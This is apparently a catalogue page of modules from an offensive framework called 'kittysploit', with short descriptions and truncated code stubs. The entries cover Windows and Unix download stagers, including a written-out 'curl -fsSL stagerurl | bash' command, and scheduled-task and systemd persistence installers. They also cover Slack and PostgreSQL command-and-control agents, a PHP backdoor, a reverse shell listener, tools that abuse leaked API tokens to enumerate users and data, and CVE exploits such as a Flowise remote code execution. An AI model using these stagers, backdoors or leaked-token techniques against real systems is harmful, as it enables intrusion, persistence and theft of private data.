WebSocket / SSE Auth Probe

Tests Socket.io polling transports, SSE streams, and realtime paths for unauthenticated access, open CORS, and missing Origin enforcement. !/usr/bin/env python3 -- coding: utf-8 -- """Probe WebSocket Socket.io and SSE endpoints for weak auth and Origin checks.""" from kittysploit import from...

Firestore Rules Audit

Discovers Firestore projectId from Firebase config and probes common collections users, admin, orders… for unauthenticated REST read access. !/usr/bin/env python3 -- coding: utf-8 -- """Deep Firestore rules audit with collection enumeration.""" from kittysploit import from...

Windows Download Stager, certutil EXE (reverse TCP)

Downloads a hosted Windows EXE via certutil and executes it. Build the EXE with payloads/singles/cmd/multi/pythonthinstager set compileexe=true, host on stagerport as stager.exe. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import...

Windows Schtasks Kitty Agent Pack

Writes kittyagent.py and installwindows.ps1 hidden pythonw + schtasks. Complements LOLBAS stagers with durable persistence. Controller: listeners/multi/reversehttppolling. from kittysploit import from lib.c2.agentinstaller import buildinstallreadme, buildwindowsschtasksinstallps1 from...

Clerk Passwordless Enumeration

Uses leaked Clerk publishable keys and Frontend API hosts to probe emaillink / emailcode passwordless sign-in flows. !/usr/bin/env python3 -- coding: utf-8 -- """Probe Clerk passwordless sign-in strategies via Frontend API.""" from kittysploit import from lib.protocols.http.httpclient import...

PostgreSQL BIND Session

BIND payload for listeners/database/postgresql direct psycopg2 session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "PostgreSQL BIND Session", "description": "BIND payload for...

Unix Download Stager, curl | bash

curl -fsSL stagerurl | bash — no Python required on target !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildcurlpipebash, buildstagerurl class ModulePayload: info = "name": "Unix Download Stager, curl | bash", "description": "curl -fsSL...

Drizzle / Prisma Schema Exposure Detection

Probes for exposed prisma/schema.prisma, migration SQL, drizzle.config.ts, drizzle/meta/journal.json, and db/schema.ts files leaking full DB schemas. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Drizzle ORM and Prisma schema/migration artifacts.""" from kittysploit import from...

Contentful Management API Enumeration

Uses leaked CFPAT management tokens and space IDs to list Contentful spaces and sample entries. Auto-discovers credentials from SPA bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Contentful spaces and entries using leaked management tokens.""" from kittysploit import from...

Resend Email API Enumeration

Uses leaked Resend API keys re to list verified domains, sent emails, and API keys. Auto-discovers from SPA bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Resend domains, sent emails, and API keys using leaked re keys.""" from kittysploit import from lib.protocols.http.httpclient...

Windows Download Stager, bitsadmin

bitsadmin transfer + execute hosted EXE/stager legacy Windows !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildbitsadmindownloadexec, buildstagerurl class ModulePayload: info = "name": "Windows Download Stager, bitsadmin", "description":...

Python Slack Reverse Agent

Poll Slack channel for !ks cmd messages and post output. Pairs with listeners/messaging/slacksocketmode. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.slackreverseagent import buildslackreverseagentscript class ModulePayload: CLIENTLANGUAGE = "python" info = "name"...

SAML Metadata Exposure & Misconfiguration Detection

Probes common SAML metadata paths for exposed EntityDescriptor XML, unsigned assertions, and embedded X509 certificates. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed SAML metadata and weak signing configuration.""" from kittysploit import from lib.protocols.http.httpclient import...

Appwrite Users Enumeration

Uses leaked Appwrite API keys with project ID to list users and teams via /v1/users. Auto-discovers endpoint, project, and key from bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Appwrite users and teams using leaked API keys.""" from kittysploit import from...

GitHub PAT Repository Enumeration

Uses leaked GitHub tokens ghp, githubpat to identify the token owner, list accessible repositories including private, and enumerate organizations. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate GitHub repos and orgs using leaked personal access tokens.""" from kittysploit import from...

PocketBase Admin Enumeration

Probes PocketBase /api/collections, /api/settings, and authenticates with leaked admin credentials to enumerate admin API surfaces. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate PocketBase admin surfaces and collections.""" from kittysploit import from lib.protocols.http.httpclient impor...

GitLab CI Secrets Detection

Probes extended GitLab CI paths .gitlab-ci.yml, ci/.yml and extracts embedded secrets, CI variable references, tokens, and cloud credentials. !/usr/bin/env python3 -- coding: utf-8 -- """Deep GitLab CI YAML exposure with embedded secret extraction.""" from kittysploit import from...

Strapi Users Enumeration

Probes Strapi REST endpoints /api/users, /api/users-permissions/users for unauthenticated user listings with emails and usernames. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Strapi users and content via public REST API.""" from kittysploit import from lib.protocols.http.httpclient...

Supabase PostgREST / Storage Enumeration

Uses a Supabase project ref and JWT API key anon or servicerole to enumerate PostgREST tables via OpenAPI, sample readable rows, list Storage buckets/objects, and probe common public bucket paths. Can auto-discover credentials from the target SPA when PROJECTREF / APIKEY are omitted. !/usr/bin/en...

Windows Download Stager, msbuild remote

msbuild.exe against a hosted project XML stager.xml. Use for inline-task / CodeTaskFactory payloads hosted on stagerport. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildmsbuildremote, buildstagerurl class ModulePayload: info = "name":...

Firebase RTDB Rules Audit

Discovers databaseURL from Firebase web config, probes exposed rules JSON, and enumerates common RTDB paths users, admin, messages… for anonymous read access. !/usr/bin/env python3 -- coding: utf-8 -- """Deep Firebase RTDB rules audit with path enumeration.""" from kittysploit import from...

Railway / Render / Fly.io Production Secrets Detection

Classifies Railway, Render, and Fly.io deploy contexts and flags production-grade API keys, database URLs, and Supabase servicerole tokens in client bundles. !/usr/bin/env python3 -- coding: utf-8 -- """ Detect production secrets on Railway, Render, and Fly.io deployments. Complements...

PostHog Analytics PII Enumeration

Uses leaked PostHog personal API keys phx to list projects and sample events that may contain emails and distinct IDs. Auto-discovers from bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate PostHog projects and events PII using leaked personal API keys.""" from kittysploit import fro...

UploadThing Secret Key Abuse

Uses leaked UploadThing sklive/sktest keys to list files and usage via the UploadThing v6 API. Auto-discovers from SPA bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Abuse leaked UploadThing secret keys to list uploaded files.""" from kittysploit import from lib.protocols.http.httpclient...

Windows Download Stager, wmic XSL

wmic os get /FORMAT:URL — executes JScript embedded in a remote XSL. Host a malicious stylesheet at stagerurl stager.xsl. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildwmicxsl, buildstagerurl class ModulePayload: info = "name": "Windows...

Generic Reverse TLS Listener

Accepts TLS-wrapped reverse shell connections SslStream clients, then hands plaintext streams to the framework session layer. Pair with payloads/singles/cmd/windows/powershellreversehttps. !/usr/bin/env python3 -- coding: utf-8 -- """TLS-terminated reverse TCP listener for PowerShell SslStream /...

Vercel Preview Environment Leak Detection

Deep-scans Vercel/Netlify preview deploys for production secrets in env.js, vercel.json, .vercel/project.json, and Next.js bundles. Flags env mismatches. !/usr/bin/env python3 -- coding: utf-8 -- """Deep Vercel/Netlify preview deploy environment leak detection.""" from kittysploit import from...

Kitty PHP HTTP Polling Drop-in

Writes a PHP script that polls listeners/multi/reversehttppolling. Deploy on a web host and trigger via cron, include, or HTTP request. from kittysploit import from lib.c2.agentinstaller import buildphppollingdropin from lib.c2.beaconprofile import BeaconProfile class ModuleBackdoor: """PHP drop-...

Serverless Function URL Detection

Finds AWS Lambda Function URLs, GCP Cloud Functions, and Azure Functions references in page source and probes common /api paths for unauthenticated invoke. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed serverless function URLs and unauthenticated invoke endpoints.""" from kittysploi...

Kubernetes API BIND

BIND payload for listeners/container/kubernetesapi. Operator authenticates to the cluster API kubeconfig, token, or in-cluster SA on operator host. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.kubernetesbind import buildkubernetesbindhint class ModulePayload: info...

Terraform State Secrets Detection

Probes common terraform.tfstate paths on the web root and extracts passwords, API keys, private keys, and connection strings from state JSON. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Terraform state files and extract sensitive values.""" from kittysploit import from...

OAuth PKCE / Refresh Token Misconfiguration Detection

Extends JWT/OAuth coverage with PKCE-not-required authorize flows, refresh token grant endpoints, and OpenID Connect discovery metadata. !/usr/bin/env python3 -- coding: utf-8 -- """OAuth/OIDC advanced misconfig: PKCE optional, refresh token endpoints, OIDC discovery.""" from kittysploit import...

Python PostgreSQL NOTIFY Reverse Agent

C2 agent over PostgreSQL LISTEN/NOTIFY. Pairs with listeners/database/postgresqlnotifyshell. Requires psycopg2 on target and network access to PostgreSQL. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.postgresqlnotifyagent import buildpostgresqlnotifyagentscript...

Sanity / Directus Token Abuse

Uses leaked Sanity sk tokens for GROQ queries and Directus static tokens to list users. Auto-discovers credentials from SPA bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Abuse leaked Sanity and Directus API tokens.""" from kittysploit import from lib.protocols.http.httpclient import...

Payload CMS API Enumeration

Probes Payload CMS REST endpoints /api/users, /api/posts and GraphQL for unauthenticated user and collection access. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Payload CMS users, collections, and GraphQL.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Azure VM Run Command BIND

BIND payload for listeners/azure/runcommand. After VM metadata is known, the framework runs commands via Azure Run Command operator-side SDK. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModulePayload: info = "name": "Azure VM Run Command BIND", "description": "BIND...

Redis BIND Session

BIND payload for listeners/database/redis !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "Redis BIND Session", "description": "BIND payload for listeners/database/redis", "category":...

Cloudflare Workers Environment Leak Detection

Scans wrangler.toml/json, .dev.vars, and Workers config paths for API tokens, account IDs, and secret vars embedded in client-accessible assets. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Cloudflare Workers/Pages configuration and env leaks.""" from kittysploit import from...

Windows Download Stager, mshta remote HTA

Runs mshta.exe against a hosted HTA stager.hta. Generate HTA with payloads/singles/cmd/windows/htareversetcp or hoststager generate --name stager.hta. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildmshtaremote, buildstagerurl class...

Kitty Agent Installer Pack

Writes kittyagent.py plus installlinux.sh systemd and/or installwindows.ps1 scheduled task. Controller: listeners/multi/reversehttppolling. from kittysploit import from lib.c2.agentinstaller import buildinstallreadme, buildlinuxinstallsh, buildwindowsschtasksinstallps1, from lib.c2.agentspec impo...

Stripe Webhook Secret Abuse

Discovers whsec webhook secrets and probes common Stripe webhook paths. Tests unsigned acceptance and HMAC-signed delivery with leaked secrets. !/usr/bin/env python3 -- coding: utf-8 -- """Test Stripe webhook endpoints with leaked whsec signing secrets.""" from kittysploit import from...

Unix Download Stager, curl | python (reverse TCP)

Downloads a hosted Python stager from stagerurl and pipes it to python3. Host the script first: save output of 'generate' on payloads/singles/cmd/multi/pythonthinstager to stager.py, then run 'python -m http.server' on stagerport. Delivers a reversetcp session after second stage runs. !/usr/bin/e...

Auth0 Passwordless Enumeration

Uses leaked Auth0 domain and clientid to probe /passwordless/start for active email magic-link and OTP flows. !/usr/bin/env python3 -- coding: utf-8 -- """Probe Auth0 passwordless email link and OTP flows.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

DjangoCRM Debug Info Disclosure (CVE-2026-71238)

CVE-2026-71238 in DjangoCRM 0.91 through 2.4.0: shipped webcrm/settings.py keeps DEBUG=True and uses secret URL prefixes as the only access gate. An unauthenticated bogus i18n 404 dumps the live URLconf, and /voip/get-callback/ returns a full technical500 debug page with source paths and framewor...

Snipe-IT View-Only File Upload Bypass (CVE-2026-37709)

CVE-2026-37709 in Snipe-IT ≤ 8.4.0 fixed in 8.4.1: the file upload endpoint POST /api/v1/objecttype/id/files checks the view permission gate instead of update. Any API user with view-only access can upload arbitrary files to any visible object. On misconfigured servers PHP execution under...

Node-RED CVE-2026-71269 Library DoS Detect

Detects Node-RED 3.0.0–5.0.4 admin library API exposure for CVE-2026-71269: GET /library/local/flows on the httpAdminRoot surface. A reachable library endpoint indicates the target may be affected by the unauthenticated DoS via POST /library/local//%2e%2e discarded write promise crash on Node.js ...

osTicket CVE-2026-18363 Reset Token Detect

Detects CVE-2026-18363 in osTicket 1.17.8 and 1.18.0–1.18.3: PasswordResetTokenBackend accepts reset tokens forever because the expiry check never runs for existing tokens. Requires a victim reset token out-of-band. !/usr/bin/env python3 -- coding: utf-8 -- """Detect osTicket CVE-2026-18363 expir...

Flowise CVE-2026-69251 TypeORM RCE Detect

Detects CVE-2026-69251 in Flowise = 3.1.2 fixed 3.1.3: SQLiteRecordManager spreads user-supplied additionalConfig into TypeORM DataSource options; entities globs cause require of attacker-uploaded .js during initialize. Chains register, login, document store, File Loader upload, and...

Flowise TypeORM RCE (CVE-2026-69251)

Exploits CVE-2026-69251 in Flowise = 3.1.2 fixed 3.1.3: record-manager nodes spread additionalConfig JSON into TypeORM DataSource; entities globs trigger require of attacker-uploaded JavaScript during initialize. Chains first-account register, cookie login, File Loader upload, and...

Prometheus Azure AD Secret Disclosure (CVE-2026-42151)

CVE-2026-42151 in Prometheus 2.48.0–3.5.2 and 3.6.0–3.11.2: OAuthConfig.ClientSecret was typed as a plain Go string instead of configutil.Secret. When Prometheus serializes its running config via /api/v1/status/config or /-/config, the real Azure AD clientsecret is emitted in plaintext instead of...